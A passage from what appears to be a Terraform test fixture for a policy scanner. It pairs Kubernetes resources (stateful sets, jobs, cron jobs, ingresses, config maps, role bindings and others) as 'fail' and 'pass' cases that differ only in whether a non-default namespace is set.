}\n}\n\nresource \"kubernetes_daemon_set_v1\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_stateful_set\" \"fail\" {\n  metadata {\n    annotations = {\n      SomeAnnotation = \"foobar\"\n    }\n\n    labels = {\n      k8s-app                           = \"prometheus\"\n      \"kubernetes.io/cluster-service\"   = \"true\"\n      \"addonmanager.kubernetes.io/mode\" = \"Reconcile\"\n      version                           = \"v2.2.1\"\n    }\n\n    name = \"prometheus\"\n  }\n\n  spec {\n    pod_management_policy  = \"Parallel\"\n    replicas               = 1\n    revision_history_limit = 5\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    service_name = \"prometheus\"\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n\n        annotations = {}\n      }\n\n      spec {\n        service_account_name = \"prometheus\"\n\n        init_container {\n          name              = \"init-chown-data\"\n          image             = \"busybox:latest\"\n          image_pull_policy = \"IfNotPresent\"\n          command           = [\"chown\", \"-R\", \"65534:65534\", \"/data\"]\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n        }\n\n        container {\n          name              = \"prometheus-server-configmap-reload\"\n          image             = \"jimmidyson/configmap-reload:v0.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--volume-dir=/etc/config\",\n            \"--webhook-url=http://localhost:9090/-/reload\",\n          ]\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n            read_only  = true\n          }\n\n          resources {\n            limits = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n\n            requests = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n          }\n        }\n\n        container {\n          name              = \"prometheus-server\"\n          image             = \"prom/prometheus:v2.2.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--config.file=/etc/config/prometheus.yml\",\n            \"--storage.tsdb.path=/data\",\n            \"--web.console.libraries=/etc/prometheus/console_libraries\",\n            \"--web.console.templates=/etc/prometheus/consoles\",\n            \"--web.enable-lifecycle\",\n          ]\n\n          port {\n            container_port = 9090\n          }\n\n          resources {\n            limits = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n\n            requests = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n          }\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n          }\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n\n          readiness_probe {\n            http_get {\n              path = \"/-/ready\"\n              port = 9090\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n\n          liveness_probe {\n            http_get {\n              path   = \"/-/healthy\"\n              port   = 9090\n              scheme = \"HTTPS\"\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n        }\n\n        termination_grace_period_seconds = 300\n\n        volume {\n          name = \"config-volume\"\n\n          config_map {\n            name = \"prometheus-config\"\n          }\n        }\n      }\n    }\n\n    update_strategy {\n      type = \"RollingUpdate\"\n\n      rolling_update {\n        partition = 1\n      }\n    }\n\n    volume_claim_template {\n      metadata {\n        name = \"prometheus-data\"\n      }\n\n      spec {\n        access_modes       = [\"ReadWriteOnce\"]\n        storage_class_name = \"standard\"\n\n        resources {\n          requests = {\n            storage = \"16Gi\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_stateful_set_v1\" \"fail\" {\n  metadata {\n    annotations = {\n      SomeAnnotation = \"foobar\"\n    }\n\n    labels = {\n      k8s-app                           = \"prometheus\"\n      \"kubernetes.io/cluster-service\"   = \"true\"\n      \"addonmanager.kubernetes.io/mode\" = \"Reconcile\"\n      version                           = \"v2.2.1\"\n    }\n\n    name = \"prometheus\"\n  }\n\n  spec {\n    pod_management_policy  = \"Parallel\"\n    replicas               = 1\n    revision_history_limit = 5\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    service_name = \"prometheus\"\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n\n        annotations = {}\n      }\n\n      spec {\n        service_account_name = \"prometheus\"\n\n        init_container {\n          name              = \"init-chown-data\"\n          image             = \"busybox:latest\"\n          image_pull_policy = \"IfNotPresent\"\n          command           = [\"chown\", \"-R\", \"65534:65534\", \"/data\"]\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n        }\n\n        container {\n          name              = \"prometheus-server-configmap-reload\"\n          image             = \"jimmidyson/configmap-reload:v0.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--volume-dir=/etc/config\",\n            \"--webhook-url=http://localhost:9090/-/reload\",\n          ]\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n            read_only  = true\n          }\n\n          resources {\n            limits = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n\n            requests = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n          }\n        }\n\n        container {\n          name              = \"prometheus-server\"\n          image             = \"prom/prometheus:v2.2.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--config.file=/etc/config/prometheus.yml\",\n            \"--storage.tsdb.path=/data\",\n            \"--web.console.libraries=/etc/prometheus/console_libraries\",\n            \"--web.console.templates=/etc/prometheus/consoles\",\n            \"--web.enable-lifecycle\",\n          ]\n\n          port {\n            container_port = 9090\n          }\n\n          resources {\n            limits = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n\n            requests = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n          }\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n          }\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n\n          readiness_probe {\n            http_get {\n              path = \"/-/ready\"\n              port = 9090\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n\n          liveness_probe {\n            http_get {\n              path   = \"/-/healthy\"\n              port   = 9090\n              scheme = \"HTTPS\"\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n        }\n\n        termination_grace_period_seconds = 300\n\n        volume {\n          name = \"config-volume\"\n\n          config_map {\n            name = \"prometheus-config\"\n          }\n        }\n      }\n    }\n\n    update_strategy {\n      type = \"RollingUpdate\"\n\n      rolling_update {\n        partition = 1\n      }\n    }\n\n    volume_claim_template {\n      metadata {\n        name = \"prometheus-data\"\n      }\n\n      spec {\n        access_modes       = [\"ReadWriteOnce\"]\n        storage_class_name = \"standard\"\n\n        resources {\n          requests = {\n            storage = \"16Gi\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_stateful_set\" \"pass\" {\n  metadata {\n    namespace = \"brian\"\n    annotations = {\n      SomeAnnotation = \"foobar\"\n    }\n\n    labels = {\n      k8s-app                           = \"prometheus\"\n      \"kubernetes.io/cluster-service\"   = \"true\"\n      \"addonmanager.kubernetes.io/mode\" = \"Reconcile\"\n      version                           = \"v2.2.1\"\n    }\n\n    name = \"prometheus\"\n  }\n\n  spec {\n    pod_management_policy  = \"Parallel\"\n    replicas               = 1\n    revision_history_limit = 5\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    service_name = \"prometheus\"\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n\n        annotations = {}\n      }\n\n      spec {\n        service_account_name = \"prometheus\"\n\n        init_container {\n          name              = \"init-chown-data\"\n          image             = \"busybox:latest\"\n          image_pull_policy = \"IfNotPresent\"\n          command           = [\"chown\", \"-R\", \"65534:65534\", \"/data\"]\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n        }\n\n        container {\n          name              = \"prometheus-server-configmap-reload\"\n          image             = \"jimmidyson/configmap-reload:v0.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--volume-dir=/etc/config\",\n            \"--webhook-url=http://localhost:9090/-/reload\",\n          ]\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n            read_only  = true\n          }\n\n          resources {\n            limits = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n\n            requests = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n          }\n        }\n\n        container {\n          name              = \"prometheus-server\"\n          image             = \"prom/prometheus:v2.2.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--config.file=/etc/config/prometheus.yml\",\n            \"--storage.tsdb.path=/data\",\n            \"--web.console.libraries=/etc/prometheus/console_libraries\",\n            \"--web.console.templates=/etc/prometheus/consoles\",\n            \"--web.enable-lifecycle\",\n          ]\n\n          port {\n            container_port = 9090\n          }\n\n          resources {\n            limits = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n\n            requests = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n          }\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n          }\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n\n          readiness_probe {\n            http_get {\n              path = \"/-/ready\"\n              port = 9090\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n\n          liveness_probe {\n            http_get {\n              path   = \"/-/healthy\"\n              port   = 9090\n              scheme = \"HTTPS\"\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n        }\n\n        termination_grace_period_seconds = 300\n\n        volume {\n          name = \"config-volume\"\n\n          config_map {\n            name = \"prometheus-config\"\n          }\n        }\n      }\n    }\n\n    update_strategy {\n      type = \"RollingUpdate\"\n\n      rolling_update {\n        partition = 1\n      }\n    }\n\n    volume_claim_template {\n      metadata {\n        name = \"prometheus-data\"\n      }\n\n      spec {\n        access_modes       = [\"ReadWriteOnce\"]\n        storage_class_name = \"standard\"\n\n        resources {\n          requests = {\n            storage = \"16Gi\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_stateful_set_v1\" \"pass\" {\n  metadata {\n    namespace = \"brian\"\n    annotations = {\n      SomeAnnotation = \"foobar\"\n    }\n\n    labels = {\n      k8s-app                           = \"prometheus\"\n      \"kubernetes.io/cluster-service\"   = \"true\"\n      \"addonmanager.kubernetes.io/mode\" = \"Reconcile\"\n      version                           = \"v2.2.1\"\n    }\n\n    name = \"prometheus\"\n  }\n\n  spec {\n    pod_management_policy  = \"Parallel\"\n    replicas               = 1\n    revision_history_limit = 5\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    service_name = \"prometheus\"\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n\n        annotations = {}\n      }\n\n      spec {\n        service_account_name = \"prometheus\"\n\n        init_container {\n          name              = \"init-chown-data\"\n          image             = \"busybox:latest\"\n          image_pull_policy = \"IfNotPresent\"\n          command           = [\"chown\", \"-R\", \"65534:65534\", \"/data\"]\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n        }\n\n        container {\n          name              = \"prometheus-server-configmap-reload\"\n          image             = \"jimmidyson/configmap-reload:v0.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--volume-dir=/etc/config\",\n            \"--webhook-url=http://localhost:9090/-/reload\",\n          ]\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n            read_only  = true\n          }\n\n          resources {\n            limits = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n\n            requests = {\n              cpu    = \"10m\"\n              memory = \"10Mi\"\n            }\n          }\n        }\n\n        container {\n          name              = \"prometheus-server\"\n          image             = \"prom/prometheus:v2.2.1\"\n          image_pull_policy = \"IfNotPresent\"\n\n          args = [\n            \"--config.file=/etc/config/prometheus.yml\",\n            \"--storage.tsdb.path=/data\",\n            \"--web.console.libraries=/etc/prometheus/console_libraries\",\n            \"--web.console.templates=/etc/prometheus/consoles\",\n            \"--web.enable-lifecycle\",\n          ]\n\n          port {\n            container_port = 9090\n          }\n\n          resources {\n            limits = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n\n            requests = {\n              cpu    = \"200m\"\n              memory = \"1000Mi\"\n            }\n          }\n\n          volume_mount {\n            name       = \"config-volume\"\n            mount_path = \"/etc/config\"\n          }\n\n          volume_mount {\n            name       = \"prometheus-data\"\n            mount_path = \"/data\"\n            sub_path   = \"\"\n          }\n\n          readiness_probe {\n            http_get {\n              path = \"/-/ready\"\n              port = 9090\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n\n          liveness_probe {\n            http_get {\n              path   = \"/-/healthy\"\n              port   = 9090\n              scheme = \"HTTPS\"\n            }\n\n            initial_delay_seconds = 30\n            timeout_seconds       = 30\n          }\n        }\n\n        termination_grace_period_seconds = 300\n\n        volume {\n          name = \"config-volume\"\n\n          config_map {\n            name = \"prometheus-config\"\n          }\n        }\n      }\n    }\n\n    update_strategy {\n      type = \"RollingUpdate\"\n\n      rolling_update {\n        partition = 1\n      }\n    }\n\n    volume_claim_template {\n      metadata {\n        name = \"prometheus-data\"\n      }\n\n      spec {\n        access_modes       = [\"ReadWriteOnce\"]\n        storage_class_name = \"standard\"\n\n        resources {\n          requests = {\n            storage = \"16Gi\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_replication_controller\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector = {\n      test = \"MyExampleApp\"\n    }\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n        annotations = {\n          \"key1\" = \"value1\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 8080\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_replication_controller_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector = {\n      test = \"MyExampleApp\"\n    }\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n        annotations = {\n          \"key1\" = \"value1\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 8080\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_replication_controller\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n    namespace = \"brian\"\n  }\n\n  spec {\n    selector = {\n      test = \"MyExampleApp\"\n    }\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n        annotations = {\n          \"key1\" = \"value1\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 8080\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_replication_controller_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n    namespace = \"brian\"\n  }\n\n  spec {\n    selector = {\n      test = \"MyExampleApp\"\n    }\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n        annotations = {\n          \"key1\" = \"value1\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 8080\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_job\" \"fail\" {\n  metadata {\n    name = \"demo\"\n  }\n  spec {\n    template {\n      metadata {}\n      spec {\n        container {\n          name    = \"pi\"\n          image   = \"perl\"\n          command = [\"perl\", \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n        }\n        restart_policy = \"Never\"\n      }\n    }\n    backoff_limit = 4\n  }\n  wait_for_completion = false\n}\n\nresource \"kubernetes_job_v1\" \"fail\" {\n  metadata {\n    name = \"demo\"\n  }\n  spec {\n    template {\n      metadata {}\n      spec {\n        container {\n          name    = \"pi\"\n          image   = \"perl\"\n          command = [\"perl\", \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n        }\n        restart_policy = \"Never\"\n      }\n    }\n    backoff_limit = 4\n  }\n  wait_for_completion = false\n}\n\nresource \"kubernetes_job\" \"pass\" {\n  metadata {\n    name = \"demo\"\n    namespace = \"brian\"\n  }\n  spec {\n    template {\n      metadata {}\n      spec {\n        container {\n          name    = \"pi\"\n          image   = \"perl\"\n          command = [\"perl\", \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n        }\n        restart_policy = \"Never\"\n      }\n    }\n    backoff_limit = 4\n  }\n  wait_for_completion = false\n}\n\nresource \"kubernetes_job_v1\" \"pass\" {\n  metadata {\n    name = \"demo\"\n    namespace = \"brian\"\n  }\n  spec {\n    template {\n      metadata {}\n      spec {\n        container {\n          name    = \"pi\"\n          image   = \"perl\"\n          command = [\"perl\", \"-Mbignum=bpi\", \"-wle\", \"print bpi(2000)\"]\n        }\n        restart_policy = \"Never\"\n      }\n    }\n    backoff_limit = 4\n  }\n  wait_for_completion = false\n}\n\nresource \"kubernetes_cron_job\" \"fail\" {\n  metadata {\n    name = \"demo\"\n  }\n  spec {\n    concurrency_policy            = \"Replace\"\n    failed_jobs_history_limit     = 5\n    schedule                      = \"1 0 * * *\"\n    starting_deadline_seconds     = 10\n    successful_jobs_history_limit = 10\n    job_template {\n      metadata {}\n      spec {\n        backoff_limit              = 2\n        ttl_seconds_after_finished = 10\n        template {\n          metadata {}\n          spec {\n            container {\n              name    = \"hello\"\n              image   = \"busybox\"\n              command = [\"/bin/sh\", \"-c\", \"date; echo Hello from the Kubernetes cluster\"]\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_cron_job_v1\" \"fail\" {\n  metadata {\n    name = \"demo\"\n  }\n  spec {\n    concurrency_policy            = \"Replace\"\n    failed_jobs_history_limit     = 5\n    schedule                      = \"1 0 * * *\"\n    starting_deadline_seconds     = 10\n    successful_jobs_history_limit = 10\n    job_template {\n      metadata {}\n      spec {\n        backoff_limit              = 2\n        ttl_seconds_after_finished = 10\n        template {\n          metadata {}\n          spec {\n            container {\n              name    = \"hello\"\n              image   = \"busybox\"\n              command = [\"/bin/sh\", \"-c\", \"date; echo Hello from the Kubernetes cluster\"]\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_cron_job\" \"pass\" {\n  metadata {\n    name = \"demo\"\n    namespace = \"brian\"\n  }\n  spec {\n    concurrency_policy            = \"Replace\"\n    failed_jobs_history_limit     = 5\n    schedule                      = \"1 0 * * *\"\n    starting_deadline_seconds     = 10\n    successful_jobs_history_limit = 10\n    job_template {\n      metadata {}\n      spec {\n        backoff_limit              = 2\n        ttl_seconds_after_finished = 10\n        template {\n          metadata {}\n          spec {\n            container {\n              name    = \"hello\"\n              image   = \"busybox\"\n              command = [\"/bin/sh\", \"-c\", \"date; echo Hello from the Kubernetes cluster\"]\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_cron_job_v1\" \"pass\" {\n  metadata {\n    name = \"demo\"\n    namespace = \"brian\"\n  }\n  spec {\n    concurrency_policy            = \"Replace\"\n    failed_jobs_history_limit     = 5\n    schedule                      = \"1 0 * * *\"\n    starting_deadline_seconds     = 10\n    successful_jobs_history_limit = 10\n    job_template {\n      metadata {}\n      spec {\n        backoff_limit              = 2\n        ttl_seconds_after_finished = 10\n        template {\n          metadata {}\n          spec {\n            container {\n              name    = \"hello\"\n              image   = \"busybox\"\n              command = [\"/bin/sh\", \"-c\", \"date; echo Hello from the Kubernetes cluster\"]\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_ingress\" \"fail\" {\n  metadata {\n    name = \"example-ingress\"\n  }\n\n  spec {\n    backend {\n      service_name = \"MyApp1\"\n      service_port = 8080\n    }\n\n    rule {\n      http {\n        path {\n          backend {\n            service_name = \"MyApp1\"\n            service_port = 8080\n          }\n\n          path = \"/app1/*\"\n        }\n\n        path {\n          backend {\n            service_name = \"MyApp2\"\n            service_port = 8080\n          }\n\n          path = \"/app2/*\"\n        }\n      }\n    }\n\n    tls {\n      secret_name = \"tls-secret\"\n    }\n  }\n}\n\nresource \"kubernetes_ingress_v1\" \"fail\" {\n  metadata {\n    name = \"example-ingress\"\n  }\n\n  spec {\n    backend {\n      service_name = \"MyApp1\"\n      service_port = 8080\n    }\n\n    rule {\n      http {\n        path {\n          backend {\n            service_name = \"MyApp1\"\n            service_port = 8080\n          }\n\n          path = \"/app1/*\"\n        }\n\n        path {\n          backend {\n            service_name = \"MyApp2\"\n            service_port = 8080\n          }\n\n          path = \"/app2/*\"\n        }\n      }\n    }\n\n    tls {\n      secret_name = \"tls-secret\"\n    }\n  }\n}\n\nresource \"kubernetes_ingress\" \"pass\" {\n  metadata {\n    name = \"example-ingress\"\n    namespace = \"brian\"\n  }\n\n  spec {\n    backend {\n      service_name = \"MyApp1\"\n      service_port = 8080\n    }\n\n    rule {\n      http {\n        path {\n          backend {\n            service_name = \"MyApp1\"\n            service_port = 8080\n          }\n\n          path = \"/app1/*\"\n        }\n\n        path {\n          backend {\n            service_name = \"MyApp2\"\n            service_port = 8080\n          }\n\n          path = \"/app2/*\"\n        }\n      }\n    }\n\n    tls {\n      secret_name = \"tls-secret\"\n    }\n  }\n}\n\nresource \"kubernetes_ingress_v1\" \"pass\" {\n  metadata {\n    name = \"example-ingress\"\n    namespace = \"brian\"\n  }\n\n  spec {\n    backend {\n      service_name = \"MyApp1\"\n      service_port = 8080\n    }\n\n    rule {\n      http {\n        path {\n          backend {\n            service_name = \"MyApp1\"\n            service_port = 8080\n          }\n\n          path = \"/app1/*\"\n        }\n\n        path {\n          backend {\n            service_name = \"MyApp2\"\n            service_port = 8080\n          }\n\n          path = \"/app2/*\"\n        }\n      }\n    }\n\n    tls {\n      secret_name = \"tls-secret\"\n    }\n  }\n}\n\nresource \"kubernetes_config_map\" \"fail\" {\n  metadata {\n    name = \"my-config\"\n  }\n\n  data = {\n    api_host             = \"myhost:443\"\n    db_host              = \"dbhost:5432\"\n    \"my_config_file.yml\" = \"${file(\"${path.module}/my_config_file.yml\")}\"\n  }\n\n  binary_data = {\n    \"my_payload.bin\" = \"${filebase64(\"${path.module}/my_payload.bin\")}\"\n  }\n}\n\nresource \"kubernetes_config_map_v1\" \"fail\" {\n  metadata {\n    name = \"my-config\"\n  }\n\n  data = {\n    api_host             = \"myhost:443\"\n    db_host              = \"dbhost:5432\"\n    \"my_config_file.yml\" = \"${file(\"${path.module}/my_config_file.yml\")}\"\n  }\n\n  binary_data = {\n    \"my_payload.bin\" = \"${filebase64(\"${path.module}/my_payload.bin\")}\"\n  }\n}\n\nresource \"kubernetes_config_map\" \"pass\" {\n  metadata {\n    namespace = \"brian\"\n    name = \"my-config\"\n  }\n\n  data = {\n    api_host             = \"myhost:443\"\n    db_host              = \"dbhost:5432\"\n    \"my_config_file.yml\" = \"${file(\"${path.module}/my_config_file.yml\")}\"\n  }\n\n  binary_data = {\n    \"my_payload.bin\" = \"${filebase64(\"${path.module}/my_payload.bin\")}\"\n  }\n}\n\nresource \"kubernetes_config_map_v1\" \"pass\" {\n  metadata {\n    namespace = \"brian\"\n    name = \"my-config\"\n  }\n\n  data = {\n    api_host             = \"myhost:443\"\n    db_host              = \"dbhost:5432\"\n    \"my_config_file.yml\" = \"${file(\"${path.module}/my_config_file.yml\")}\"\n  }\n\n  binary_data = {\n    \"my_payload.bin\" = \"${filebase64(\"${path.module}/my_payload.bin\")}\"\n  }\n}\n\nresource \"kubernetes_role_binding\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding_v1\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"brian\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_role_binding_v1\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"brian\"\n  }\n  role_ref {\n    api_group = \"rbac.authorization.k8s.io\"\n    kind      = \"Role\"\n    name      = \"admin\"\n  }\n  subject {\n    kind      = \"User\"\n    name      = \"admin\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n  subject {\n    kind      = \"ServiceAccount\"\n    name      = \"default\"\n    namespace = \"kube-system\"\n  }\n  subject {\n    kind      = \"Group\"\n    name      = \"system:masters\"\n    api_group = \"rbac.authorization.k8s.io\"\n  }\n}\n\nresource \"kubernetes_service_account\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  secret {\n    name = \"${kubernetes_secret.example.metadata.0.name}\"\n  }\n}\n\nresource \"kubernetes_service_account_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  secret {\n    name = \"${kubernetes_secret_v1.example.metadata.0.name}\"\n  }\n}\n\nresource \"kubernetes_service_account\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace=\"brian\"\n  }\n  secret {\n    name = \"${kubernetes_secret.example.metadata.0.name}\"\n  }\n}\n\nresource \"kubernetes_service_account_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace=\"brian\"\n  }\n  secret {\n    name = \"${kubernetes_secret_v1.example.metadata.0.name}\"\n  }\n}\n\nresource \"kubernetes_secret\" \"fail\" {\n  metadata 